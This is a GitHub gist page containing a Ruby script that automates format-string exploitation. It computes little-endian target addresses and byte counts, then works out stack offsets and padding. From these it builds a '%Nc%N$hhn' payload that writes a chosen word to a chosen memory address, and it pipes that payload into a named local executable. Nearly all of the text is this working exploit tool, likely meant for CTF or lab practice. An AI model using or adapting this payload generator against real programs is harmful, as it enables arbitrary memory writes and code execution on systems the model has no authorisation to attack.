Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
execfile, address, word, bufhead = ARGV
def get_mem_addrs(head, word)
result = []
current = head.hex
word.size.times do
addr = current.to_s 16
addr = '0' * [8 - addr.size, 0].max + addr
addr = addr.scan(/../).reverse
result << addr.map { |b| '\x' + b }.join
current += 1
end
result
end
def get_output_bytes word
result = []
before = 0
word.each_char do |c|
result << (c.ord + before).to_s
before = 256 - c.ord
end
result
end
def get_stack_pos bufhead, output_bytes
stack_pos = bufhead.to_i
slip_bytes = 0
output_bytes.each do |b|
slip_bytes += "%#{b}c".size
slip_bytes += '$hhn'.size
end
paddings_1 = (4 - slip_bytes % 4) % 4
stack_pos += slip_bytes / 4
stack_pos += 1 if paddings_1 != 0
slip_bytes = 0
before_sp_range = (stack_pos...stack_pos + output_bytes.size)
before_sp_range.each do |i|
slip_bytes += "%#{i}".size
end
paddings_2 = (4 - slip_bytes % 4) % 4
stack_pos += slip_bytes / 4
stack_pos += 1 if paddings_1 == 0 and paddings_2 > 0
paddings = (paddings_1 + paddings_2) % 4
after_sp_range = (stack_pos...stack_pos + output_bytes.size)
begin
slip_bytes = 0
(after_sp_range.to_a.zip before_sp_range.to_a).each do |after, before|
slip_bytes += after.to_s.size - before.to_s.size
end
if slip_bytes > paddings
puts "sb #{slip_bytes}"
puts "pd #{paddings}"
stack_pos += (slip_bytes - paddings) / 4 + 1
paddings = (4 - (slip_bytes - paddings) % 4) % 4
else
paddings -= slip_bytes
end
before_sp_range = after_sp_range
after_sp_range = (stack_pos...stack_pos + output_bytes.size)
end while slip_bytes != 0
{
:positions => (stack_pos...stack_pos + output_bytes.size).to_a,
:paddings => paddings
}
end
def get_format_string address, word, bufhead
format_string = ''
mem_addrs = get_mem_addrs address, word
output_bytes = get_output_bytes word
stack_pos = get_stack_pos bufhead, output_bytes
output_bytes.zip(stack_pos[:positions]).each do |byte, pos|
format_string += "%#{byte}c%#{pos}$hhn"
end
format_string += ' ' * stack_pos[:paddings]
format_string + mem_addrs.join
end
format_string = get_format_string address, word, bufhead
puts "Format String: #{format_string}"
puts "Exec ./#{execfile}..."
puts "=" * 85
puts `python -c 'print "#{format_string}"' | ./#{execfile}`
puts "=" * 85
puts "Done."
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment